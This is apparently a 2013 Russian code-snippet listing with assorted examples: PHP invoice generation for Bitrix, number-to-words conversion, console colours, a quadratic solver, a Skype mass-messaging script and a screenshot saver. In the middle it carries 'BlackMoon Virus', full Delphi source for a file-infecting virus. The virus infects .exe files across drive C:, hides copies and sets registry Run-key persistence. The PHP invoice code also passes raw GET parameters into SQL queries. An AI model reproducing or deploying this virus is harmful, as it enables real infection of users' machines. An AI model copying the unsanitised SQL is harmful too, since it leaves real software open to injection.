$pdf->writeHTML($one, true, false, false, false, '');
/*------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------*/



//$pdf->writeHTML($tbl, true, false, false, false, '');

// -----------------------------------------------------------------------------

//Close and output PDF document
$pdf->Output(time().'.pdf', 'I');

Добавлено: 03 Августа 2013 03:41:58 Добавил: Андрей Ковальчук

PHP форма для EXEL. Форма счета для фирмы

PHP

Писалось под битрикс,поэтому меняем входные данные на свои.
У меня в ГЕТ приходит id продукта и кол-во каждой позиции


require_once('PHP_EXEL/Classes/PHPExcel.php');
require_once('PHP_EXEL/Classes/PHPExcel/Writer/Excel5.php');
$xls = new PHPExcel();
$xls->setActiveSheetIndex(0);
$sheet = $xls->getActiveSheet();
$sheet->setTitle('Счет на оплату'.time());


/* CONFIGURATION XLS FILES */

/* STYLE */

$styleArray = array('borders' => array(	'outline' => array('style' => PHPExcel_Style_Border::BORDER_MEDIUM,	'color' => array('argb' => '#000000'),	),	),);
$styleArray_HARD = array('font'=>array('size'=>'14','name'=>'Arial','bold'=>'true'),
'alignment'=>array('vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER));
$styleArray_BOLD = array('font'=>array('size'=>'10','name'=>'Arial','bold'=>'true'),
'alignment'=>array('vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER));
$styleArray_BOLD_price = array('font'=>array('size'=>'11','name'=>'Arial','bold'=>'true'),
'alignment'=>array('vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER),'borders' => array(	'outline' => array('style' => PHPExcel_Style_Border::BORDER_THIN,	'color' => array('argb' => '#000000'),	),	));
$styleArray_SMALL = array('font'=>array('size'=>'11','name'=>'Arial'),
'alignment'=>array('vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER),'borders' => array(	'outline' => array('style' => PHPExcel_Style_Border::BORDER_THIN,	'color' => array('argb' => '#000000'),	),	));
$styleArray_SMALL_NO_BORD = array('font'=>array('size'=>'11','name'=>'Arial'),
'alignment'=>array('vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER));
$styleArray_CENTER = array('font'=>array('size'=>'10','name'=>'Arial'),
'alignment'=>array('vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER));
$styleArray_BOLD_bottom_PRICE = array('font'=>array('size'=>'9','name'=>'Arial','bold'=>'true'),
'alignment'=>array('vertical' => PHPExcel_Style_Alignment::HORIZONTAL_RIGHT));
$styleArray_BOLD_bottom_PRICE_CEIL = array('font'=>array('size'=>'9','name'=>'Arial','bold'=>'true'),
'alignment'=>array('vertical' => PHPExcel_Style_Alignment::HORIZONTAL_RIGHT));

/* POSITION */

$sheet->getColumnDimension('A')->setWidth(1);
$sheet->getColumnDimension('B')->setWidth(4);
$sheet->getColumnDimension('C')->setWidth(4);
$sheet->getColumnDimension('D')->setWidth(4);
$sheet->getColumnDimension('E')->setWidth(2);
$sheet->getColumnDimension('F')->setWidth(2);
$sheet->getColumnDimension('G')->setWidth(2);
$sheet->getColumnDimension('H')->setWidth(2);
$sheet->getColumnDimension('I')->setWidth(2);
$sheet->getColumnDimension('J')->setWidth(2);
$sheet->getColumnDimension('K')->setWidth(2);
$sheet->getColumnDimension('L')->setWidth(2);
$sheet->getColumnDimension('M')->setWidth(2);
$sheet->getColumnDimension('N')->setWidth(2);
$sheet->getColumnDimension('O')->setWidth(2);
$sheet->getColumnDimension('P')->setWidth(3);
$sheet->getColumnDimension('Q')->setWidth(3);
$sheet->getColumnDimension('R')->setWidth(3);
$sheet->getColumnDimension('S')->setWidth(3);
$sheet->getColumnDimension('T')->setWidth(1);
$sheet->getColumnDimension('U')->setWidth(3);
$sheet->getColumnDimension('V')->setWidth(3);
$sheet->getColumnDimension('W')->setWidth(3);
$sheet->getColumnDimension('X')->setWidth(1);
$sheet->getColumnDimension('Y')->setWidth(3);
$sheet->getColumnDimension('Z')->setWidth(3);
$sheet->getColumnDimension('AA')->setWidth(2);
$sheet->getColumnDimension('AB')->setWidth(2);
$sheet->getColumnDimension('AC')->setWidth(3);
$sheet->getColumnDimension('AD')->setWidth(3);
$sheet->getColumnDimension('AF')->setWidth(3);
$sheet->getColumnDimension('AG')->setWidth(1);
$sheet->getColumnDimension('AH')->setWidth(3);
$sheet->getColumnDimension('AI')->setWidth(3);
$sheet->getColumnDimension('AJ')->setWidth(3);
$sheet->getColumnDimension('AK')->setWidth(2);
$sheet->getColumnDimension('AE')->setWidth(3);
$sheet->getRowDimension('6')->setRowHeight(30);
$sheet->getRowDimension('4')->setRowHeight(30);
$sheet->getRowDimension('9')->setRowHeight(20);

/* ONE PLUS */

$sheet->mergeCells('B1:AK2');
$sheet->mergeCells('B4:E4');
$sheet->mergeCells('F4:AK4');
$sheet->mergeCells('B6:E6');
$sheet->mergeCells('F6:AK6');
$sheet->mergeCells('B8:C8');
$sheet->mergeCells('D8:S8');
$sheet->mergeCells('T8:W8');
$sheet->mergeCells('X8:AA8');
$sheet->mergeCells('AB8:AG8');
$sheet->mergeCells('AH8:AK8');



/* BODY */

$sheet->getStyle('B1:AK2')->applyFromArray($styleArray_HARD);
$sheet->getStyle('F4')->applyFromArray($styleArray_BOLD);
$sheet->getStyle('F6')->applyFromArray($styleArray_BOLD);
$sheet->getStyle('B4')->applyFromArray($styleArray_CENTER);
$sheet->getStyle('B6')->applyFromArray($styleArray_CENTER);
$sheet->getStyle('B8')->applyFromArray($styleArray_BOLD_price);
$sheet->getStyle('D8')->applyFromArray($styleArray_BOLD_price);
$sheet->getStyle('T8')->applyFromArray($styleArray_BOLD_price);
$sheet->getStyle('X8')->applyFromArray($styleArray_BOLD_price);
$sheet->getStyle('AB8')->applyFromArray($styleArray_BOLD_price);
$sheet->getStyle('AH8')->applyFromArray($styleArray_BOLD_price);


$sheet->mergeCells('B8:C8');
$sheet->mergeCells('D8:S8');
$sheet->mergeCells('T8:W8');
$sheet->mergeCells('X8:AA8');
$sheet->mergeCells('AB8:AG8');
$sheet->mergeCells('AH8:AK8');


/* ECHO RESULT */

$sheet->setCellValue("B1", $all_h1.$date.' '.$g);
$sheet->setCellValue("B4", 'Поставщик:');
$sheet->setCellValue("B6", 'Покупатель:');
$sheet->setCellValue("F4", "ООО «Формула Безопасности-Урал», ИНН 6670397828, КПП 667001001, 620137, Свердловская обл,Екатеринбург г, Студенческая ул, дом № 1, корпус 18, оф.110");
$sheet->getStyle("F4")->getAlignment()->setWrapText(true);
$sheet->setCellValue("F6", $inp);
$sheet->setCellValue("B8", '№');
$sheet->setCellValue("D8", 'Товары (работы, услуги)');
$sheet->setCellValue("T8", 'Кол-во');
$sheet->setCellValue("X8", 'Ед.');
$sheet->setCellValue("AB8", 'Цена');
$sheet->setCellValue("AH8", 'Сумма');


$ex_Q = explode(',',$_GET['prod_q']);
$ex_T = explode(',',$_GET['tables']);
$max = count($ex_T)-1;
$pos = 9;
$total_NUM_XLS = '';
$total_price_XLS = '';
for($i=1;$i<=$max;$i++){

$sheet->getRowDimension($pos)->setRowHeight(16);

/* STILESHES CASE */

$sheet->getStyle('B'.$pos.':C'.$pos)->applyFromArray($styleArray_SMALL);
$sheet->getStyle('D'.$pos.':S'.$pos)->applyFromArray($styleArray_SMALL);
$sheet->getStyle('T'.$pos.':W'.$pos)->applyFromArray($styleArray_SMALL);
$sheet->getStyle('X'.$pos.':AA'.$pos)->applyFromArray($styleArray_SMALL);
$sheet->getStyle('AB'.$pos.':AG'.$pos)->applyFromArray($styleArray_SMALL);
$sheet->getStyle('AH'.$pos.':AK'.$pos)->applyFromArray($styleArray_SMALL);

/* SUMM CASE */

$sheet->mergeCells('B'.$pos.':C'.$pos);
$sheet->mergeCells('D'.$pos.':S'.$pos);
$sheet->mergeCells('T'.$pos.':W'.$pos);
$sheet->mergeCells('X'.$pos.':AA'.$pos);
$sheet->mergeCells('AB'.$pos.':AG'.$pos);
$sheet->mergeCells('AH'.$pos.':AK'.$pos);

/* NEW LINE CASE */

$sheet->getStyle('B'.$pos.':C'.$pos)->getAlignment()->setWrapText(true);
$sheet->getStyle('D'.$pos.':S'.$pos)->getAlignment()->setWrapText(true);
$sheet->getStyle('T'.$pos.':W'.$pos)->getAlignment()->setWrapText(true);
$sheet->getStyle('X'.$pos.':AA'.$pos)->getAlignment()->setWrapText(true);
$sheet->getStyle('AB'.$pos.':AG'.$pos)->getAlignment()->setWrapText(true);
$sheet->getStyle('AH'.$pos.':AK'.$pos)->getAlignment()->setWrapText(true);


if(empty($total_NUM_XLS)){$total_NUM_XLS .=  $ex_Q[$i];}else{$total_NUM_XLS = $total_NUM_XLS + $ex_Q[$i];}


$NAMES_TOVAR = mysql_fetch_assoc(mysql_query("SELECT `NAME` FROM `b_iblock_element` WHERE `ID`='{$ex_T[$i]}'"));
$moresumm_p = mysql_fetch_assoc(mysql_query("SELECT `PRICE` FROM  `b_catalog_price` WHERE `PRODUCT_ID`='{$ex_T[$i]}'"));

$sheet->setCellValue('B'.$pos,$i);
$sheet->setCellValue('D'.$pos,$NAMES_TOVAR['NAME']);
$sheet->setCellValue('X'.$pos,'шт.');
$sheet->setCellValue('T'.$pos,$ex_Q[$i]);
$sheet->setCellValue('AB'.$pos,$moresumm_p['PRICE']);
$all_total_price = $ex_Q[$i]*$moresumm_p['PRICE'];
if(empty($total_price_XLS)){$total_price_XLS .=  $all_total_price;}else{$total_price_XLS = $total_price_XLS + $all_total_price;}
$sheet->setCellValue('AH'.$pos,$all_total_price);

$pos++;
$max2 = $pos-1;



if($i == $max){

$F11 = $pos + 1;
$F12 = $F11 + 1;
$F13 = $F12 + 1;
$F14 = $F13 + 1;
$F15 = $F14 + 1;
$F16 = $F15 + 3;


$sheet->getStyle('B8:AK'.$max2)->applyFromArray($styleArray);
$sheet->getStyle('B'.$F15.':AK'.$F15)->applyFromArray($styleArray_SMALL_NO_BORD);
$sheet->getStyle('B'.$F14.':AK'.$F14)->applyFromArray($styleArray_SMALL_NO_BORD);
$sheet->getStyle('B'.$F16.':S'.$F16)->applyFromArray($styleArray_SMALL_NO_BORD);
$sheet->getStyle('T'.$F16.':AK'.$F16)->applyFromArray($styleArray_SMALL_NO_BORD);

$sheet->mergeCells('X'.$F11.':AG'.$F11);$sheet->mergeCells('AH'.$F11.':AK'.$F11);
$sheet->mergeCells('X'.$F12.':AG'.$F12);$sheet->mergeCells('AH'.$F12.':AK'.$F12);
$sheet->mergeCells('X'.$F13.':AG'.$F13);$sheet->mergeCells('AH'.$F13.':AK'.$F13);
$sheet->mergeCells('B'.$F14.':AK'.$F14);
$sheet->mergeCells('B'.$F15.':AK'.$F15);
$sheet->mergeCells('B'.$F16.':S'.$F16);
$sheet->mergeCells('T'.$F16.':AK'.$F16);





/* TOTAL PRICE */
$sheet->setCellValue("AH".$F11, $total_price_XLS);
$sheet->setCellValue("AH".$F13, $total_price_XLS);
$sheet->setCellValue("B".$F14, 'Всего наименований '.$total_NUM_XLS.', на сумму '.$total_price_XLS.' руб.');
$sheet->setCellValue("B".$F16, 'Руководитель ________________________________');
$sheet->setCellValue("T".$F16, 'Бухгалтер ____________________________________');
/* TOTAL NUM */


$all_summ = $total_price_XLS;

$cols = array(); 
while ($all_summ > 0) { 
    $cols[] = $all_summ % 10; 
    $all_summ = intval($all_summ / 10);  
} 
$cols_num = count($cols);
$summ_text = '';
for($ost = $cols_num;$ost>=0;$ost--){
if($cols[$ost]<5 and $cols[$ost]>1){$ok='я';}elseif($cols[$ost]==1){$ok='ь';}else{$ok='ей';}
if($cols[$ost]>1 and $cols[$ost]<5){$ok_2='а';}elseif($cols[$ost]==1){$ok_2='';}else{$ok_2='ов';}
if($cols[$ost]>1 and $cols[$ost]<5){$ok_3='и';}elseif($cols[$ost]==1){$ok_3='а';}else{$ok_3='';}
if($ost==0){$text='';$ii = (int)$cols[$ost];}
elseif($ost==1){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==2){$text='';$ii = (int)$cols[$ost].'00';}
elseif($ost==3){$text='тысяч'.$ok_3;$ii = (int)$cols[$ost];}
elseif($ost==4){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==5){$text='';$ii = (int)$cols[$ost].'00';}
elseif($ost==6){$text='миллион'.$ok_2;$ii = (int)$cols[$ost];}
elseif($ost==7){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==8){$text='';$ii = (int)$cols[$ost].'00';}
elseif($ost==9){$text='миллирад'.$ok_2;$ii = (int)$cols[$ost];}
elseif($ost==10){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==11){$text='';$ii = (int)$cols[$ost].'00';}
else{$text='';}
if($ost==3){$summ_text.='тысяч'.$ok_3.' ';$ii = (int)$cols[$ost];}else{}
if($cols[$ost]==0){}else{
if($ost == $cols_num-1){$summ_text.=$array_col_ROOT[$ii].' '.$text.' ';}else{
$summ_text.=$array_col[$ii].' '.$text.' ';}
}
}
$summ_text.='рубл'.$ok;$ii = (int)$cols[$ost];

$sheet->setCellValue("B".$F15, $summ_text);



/* NDS PRICE */
$NDS_FROM_XLS = ceil($total_price_XLS)/100*18;
$sheet->setCellValue("AH".$F12, $NDS_FROM_XLS);

$sheet->getStyle("X".$F11)->applyFromArray($styleArray_BOLD_bottom_PRICE);
$sheet->getStyle("X".$F12)->applyFromArray($styleArray_BOLD_bottom_PRICE);
$sheet->getStyle("X".$F13)->applyFromArray($styleArray_BOLD_bottom_PRICE);

$sheet->getStyle('AH'.$F11.':AK'.$F11)->applyFromArray($styleArray_BOLD_bottom_PRICE_CEIL);
$sheet->getStyle('AH'.$F12.':AK'.$F12)->applyFromArray($styleArray_BOLD_bottom_PRICE_CEIL);
$sheet->getStyle('AH'.$F13.':AK'.$F13)->applyFromArray($styleArray_BOLD_bottom_PRICE_CEIL);

$sheet->setCellValue("X".$F11, 'Итого:');
$sheet->setCellValue("X".$F12, 'НДС (18%, включен в цену):');
$sheet->setCellValue("X".$F13, 'Всего к оплате:');

}else{}
}

/* WRITE IN FILE */

header ( "Expires: Mon, 1 Apr 1974 05:00:00 GMT" );
 header ( "Last-Modified: " . gmdate("D,d M YH:i:s") . " GMT" );
 header ( "Cache-Control: no-cache, must-revalidate" );
 header ( "Pragma: no-cache" );
 header ( "Content-type: application/vnd.ms-excel" );
 $sssc4et = time();
 header ( "Content-Disposition: attachment; filename=Счет №  $sssc4et.xls" );
 
// Выводим содержимое файла
 $objWriter = new PHPExcel_Writer_Excel5($xls);
 $objWriter->save('php://output');

Добавлено: 03 Августа 2013 03:40:21 Добавил: Андрей Ковальчук

Перевод цифр в буквенные значения

PHP

Самый простой код перегона из цифр в буквы цены. Писал косталь под 1С битрикс. писал максимум пол часа поэтому код индуччкий но вроде работает

$all_summ = $WHERE_ALL_SUMM;

$cols = array(); 
while ($all_summ > 0) { 
    $cols[] = $all_summ % 10; 
    $all_summ = intval($all_summ / 10);  
} 
$cols_num = count($cols);
$summ_text = '';



for($ost = $cols_num;$ost>=0;$ost--){
if($cols[$ost]<5 and $cols[$ost]>1){$ok='я';}elseif($cols[$ost]==1){$ok='ь';}else{$ok='ей';}
if($cols[$ost]>1 and $cols[$ost]<5){$ok_2='а';}elseif($cols[$ost]==1){$ok_2='';}else{$ok_2='ов';}
if($cols[$ost]>1 and $cols[$ost]<5){$ok_3='и';}elseif($cols[$ost]==1){$ok_3='а';}else{$ok_3='';}
if($ost==0){$text='';$ii = (int)$cols[$ost];}
elseif($ost==1){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==2){$text='';$ii = (int)$cols[$ost].'00';}
elseif($ost==3){$text='тысяч'.$ok_3;$ii = (int)$cols[$ost];}
elseif($ost==4){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==5){$text='';$ii = (int)$cols[$ost].'00';}
elseif($ost==6){$text='миллион'.$ok_2;$ii = (int)$cols[$ost];}
elseif($ost==7){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==8){$text='';$ii = (int)$cols[$ost].'00';}
elseif($ost==9){$text='миллирад'.$ok_2;$ii = (int)$cols[$ost];}
elseif($ost==10){$text='';$ii = (int)$cols[$ost].'0';}
elseif($ost==11){$text='';$ii = (int)$cols[$ost].'00';}
else{$text='';}

if($ost==3){$summ_text.='тысяч'.$ok_3.' ';$ii = (int)$cols[$ost];}else{}


if($cols[$ost]==0){}else{
if($ost == $cols_num-1){$summ_text.=$array_col_ROOT[$ii].' '.$text.' ';}else{
$summ_text.=$array_col[$ii].' '.$text.' ';}
}


}
$summ_text.='рубл'.$ok;$ii = (int)$cols[$ost];

Добавлено: 03 Августа 2013 03:35:45 Добавил: Андрей Ковальчук

BlackMoon Virus или как я баловался в детстве.

Обычный файловый вирус на Delphi,ничего особенного.

{$M 10000000}
{$WARN SYMBOL_PLATFORM OFF}
{$I-}

program BlackMoon;
uses
  Windows, sysutils, Registry, tlhelp32;

const
  VirSize = 42496;
  InfectCount = 15;

// Находит папку винды
function GetWinDir: string;
begin
  Result:= GetEnvironmentVariable('windir');
end;

// Преобразует имя файла
// c:\file.exe -> c:\file.scr
function TempFile(FileName: string): string;
begin
  Result:= Copy(ExtractFilePath(FileName)+ExtractFileName(FileName),1,length(FileName)-0)+'.scr';
end;

function CheckInfect(path: string): boolean;
const
  SignSize = 99; // побольше
  SignPos = 6666; // сигнатуру лучше брать подальше а то попадёшь в ПЕ заголовок а он у всех одинаковый
type
  Bufer = array [1..SignSize] of char;
var
  F1 : file;
  F2 : file;
  FM : word;
  SignBuf : Bufer;
  VictBuf : Bufer;
begin
  FM:=FileMode;
  FileMode:=0;
  AssignFile(F1, Paramstr(0));
  AssignFile(F2, path);
  Reset(F1,1);
  Reset(F2,1);
  seek(F1,SignPos);
  seek(F2,SignPos);
  BlockRead(F1,SignBuf,SignSize);
  BlockRead(F2,VictBuf,SignSize);
  if SignBuf<>VictBuf then
    Result:= true
  else
    Result:=false;
  CloseFile(F1);
  CloseFile(F2);
  FileMode:=FM;
end;

Procedure CopyData(FromF, ToF: string; FromPos, ToPos, Count: integer; rw: boolean);
var
  F : file;
  NR : integer;
  FM : word; 
  Buf : array [1..999999] of byte; 
begin
  FM:= FileMode;
  FileMode:=0;
  AssignFile(F, FromF);
  Reset(F, 1);
  if FromPos=1 then
    FromPos:= FileSize(F) - VirSize;
  seek(F,FromPos);
  if Count=0 then
    Count:=FileSize(F);
  if Count=1 then
    Count:= FileSize(F) - VirSize;
  BlockRead(F, Buf, Count, NR);
  CloseFile(F);
  FileMode:=2;
  AssignFile(F, ToF);
  if rw then
    Rewrite(F, 1)
  else
    Reset(F, 1);
  if ToPos>0 then
  begin
    if ToPos=1 then
      ToPos:= FileSize(F);
    seek(F,ToPos);
  end;
  BlockWrite(F, Buf, NR);
  CloseFile(F);
  FileMode:= FM;
end;

procedure InRun;
var
  sr : TSearchRec;
begin
  findfirst(paramstr(0),faAnyFile-faDirectory,SR);
  if SR.Size > VirSize then
  begin
    CopyData(paramstr(0),TempFile(paramstr(0)),1,0,VirSize,true);
    CopyData(paramstr(0),TempFile(paramstr(0)),VirSize,1,1,false);
    FileSetAttr(TempFile(paramstr(0)),faHidden);
    winexec(PChar(TempFile(paramstr(0))),SW_SHOW);
  end;
end;

procedure InfectFiles(mask: string); // работоспособность поиска
var
  search: TSearchRec;
  directory: string;
  i: integer; // счетчик количества заражений
begin
  directory := ExtractFilePath(mask);
  if FindFirst(mask, $23, search) = 0 then
  begin 
    repeat
      if search.Size < 999999 then  // если файл подходит по размерам
      begin
        if CheckInfect(directory + search.Name) then // и не инфецирован
        begin
          CopyData(directory + search.Name, directory + search.Name,0,1,VirSize,false);
          CopyData(paramstr(0),directory + search.Name,0,0,VirSize,false);
          Inc(i);
          if i = InfectCount then // если заразили InfectCount файлов то на выход
            ExitProcess(0);
        end;
      end;
    until
      FindNext(search) <> 0;
  end;
  if FindFirst(directory + '*.*', faDirectory, search) = 0 then
  begin
    repeat
      if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then
        InfectFiles(directory + search.Name + '\' + ExtractFileName(mask));
    until FindNext(search) <> 0;
      FindClose(search);
       InRun;
  end;
end;

{заражение компьютера}
procedure InfectPC;
var
  reg : TRegistry;
begin
  reg:= TRegistry.Create;
  reg.RootKey := HKEY_CURRENT_USER;
  reg.OpenKey('Software',True);
  reg.OpenKey('Microsoft',True);
  reg.OpenKey('Windows',True);
  reg.OpenKey('CurrentVersion',True);
  reg.OpenKey('Run',True);
  reg.WriteString('Windows Screensaver',GetWinDir+'\cssr.exe');
  reg.Free;
  CopyFile(PChar(ParamStr(0)), PChar(GetWinDir+'\cssr.exe'), True);
  FileSetAttr(GetWinDir+'\cssr.exe',faHidden);
end;

function IsRunning(sName: string): boolean; // проверяет, запущен ли процесс жертвы
var
  han: THandle;
  ProcStruct: PROCESSENTRY32;
  sID: string;
begin
  Result := false;
 
  han := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  if han = 0 then
    exit;
 
 
  ProcStruct.dwSize := sizeof(PROCESSENTRY32);
  if Process32First(han, ProcStruct) then
  begin
    repeat
      sID := ExtractFileName(ProcStruct.szExeFile);
 
      if uppercase(copy(sId, 1, length(sName))) = uppercase(sName) then
      begin
 
        Result := true;
        Break;
      end;
    until not Process32Next(han, ProcStruct);
  end;
 
  CloseHandle(han);
end;

procedure IsRun;
var
  null : Integer;

label
  IsRunned;
begin
IsRunned:
 if IsRunning(ExtractFileName(paramstr(0)+'.scr')) then

 else
    DeleteFile(ExtractFileName(paramstr(0))+'.scr');
    Sleep(500);
    goto IsRunned;
end;


{старт вируса}
begin
  InfectPC;
  InfectFiles('C:\*.exe');
  IsRun;
end.

Добавлено: 03 Августа 2013 03:12:54 Добавил: Андрей Ковальчук

Как вывести текст в консольном приложении различными цветами?

C++

Каждый символ сонсольного приложения имеет свои аттрибуты, и Win32 консольные функции могут работать с аттрибутами двумя способами. SetConsoleTextAttribute() работает с символами, записанными в буфере, в то время как FillConsoleOutputAttribute() напрямую изменяет атрибуты символов.

Следующие функции можно использовать для нормального, жирного и обратного текста (предполагается, что класс имеет обработчик консоли через вызов GetStdHandle()):

void CMyConsoleClass::SetTextNormal()
{
    // белым на чёрном - по умолчанию
    SetConsoleTextAttribute ( m_hConsole,
                              FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE );
}

void CMyConsoleClass::SetTextBold()
{
    // ярко-белым на чёрном
    SetConsoleTextAttribute ( m_hConsole,
                              FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE |
                                FOREGROUND_INTENSITY );
}

void CMyConsoleClass::SetTextReverse()
{
    // чёрным на белом
   SetConsoleTextAttribute ( m_hConsole, 
                             BACKGROUND_RED | BACKGROUND_GREEN | BACKGROUND_BLUE );
}

Добавлено: 01 Августа 2013 07:41:16 Добавил: Андрей Ковальчук

Дискриминант VB

Дискриминант VB

Public Class Form1
    Dim x As Single
    Dim y As Single
    Dim D As Single
    Dim a As Single
    Dim b As Single
    Dim c As Single
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        a = TextBox1.Text
        b = TextBox2.Text
        c = TextBox3.Text
        D = (b * b) - (4 * a * c)
        If D >= 0 Then
            x = (-b + Math.Sqrt(D)) / (2 * a)
            y = (-b - Math.Sqrt(D)) / (2 * a)
            Label1.Text = "Дискриминант:" & D
            Label2.Text = "Корень x = " & x
            Label3.Text = "Корень y = " & y
        End If
        If D < 0 Then
            Label2.Text = "Дискриминант:" & D
            Label3.Text = "Корней нет"
            Label1.Text = ""

            msgbox("Дискриминант меньше нуля")
        End If
    End Sub
End Class

Добавлено: 30 Июля 2013 07:18:50 Добавил: Андрей Ковальчук

Масс рассылка в скайпе

Масс рассылка в skype
Библиотеку брать на сайте скайпа

Imports SKYPE4COMLib 

Public Class form1 

    Public WithEvents refSkype As New SKYPE4COMLib.Skype 

    Private Sub BtnSend_click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnSend.Click 
        If TextBox1.Text <> "" Then 

            On Error Resume Next 

            refSkype.Client.Start() 
            refSkype.Attach() 
            For Each user In refSkype.Friends 
                refSkype.SendMessage(user.Handle, TextBox1.Text) 
            Next 
        End If 
    End Sub 
End Class

Добавлено: 29 Июля 2013 08:49:47 Добавил: Андрей Ковальчук

C++ code;

C++

Переводит обычную температу(Celsius) в (fahrenheit);

| +++++++ couting +++++++ |

#include <iostream>
#include <cstdio>
#include <cstdlib>

using namespace std;

int main(int nNumberofArgs, char* pszArgs[]) {

double celsius;
cout << "Enter the value in Celsius: ";
cin >> celsius;

double factor;
factor = 212 - 32;

double fahrenheit;
fahrenheit = celsius * factor/100 + 32;
cout << "Temperature in fahrenheit: " << fahrenheit << endl;

system("PAUSE");
return 0;

}

Добавлено: 29 Июля 2013 07:27:37 Добавил: Андрей Ковальчук

Скриншот в PNG файл

C++

C++ builder

#include <pngimage.hpp>

//...

TPicture *p=new TPicture;
HWND hwnd=GetDesktopWindow();
HDC hdc=GetWindowDC(hwnd);
TCanvas *C=new TCanvas;
C->Handle=hdc;
int w=Screen->Width;
int h=Screen->Height;
p->Bitmap->Width=w;
p->Bitmap->Height=h;
p->Bitmap->Canvas->CopyMode=cmSrcCopy;
p->Bitmap->Canvas->CopyRect(TRect(0,0,w,h),C,TRect(0,0,w,h));
ReleaseDC(hwnd,hdc);
delete C;
TPngImage *img = new TPngImage;
img->Assign(p->Bitmap);
img->SaveToFile("C:\\Users\\Администратор\\Desktop\\image.png");
delete p;

Добавлено: 29 Июля 2013 06:07:35 Добавил: Андрей Ковальчук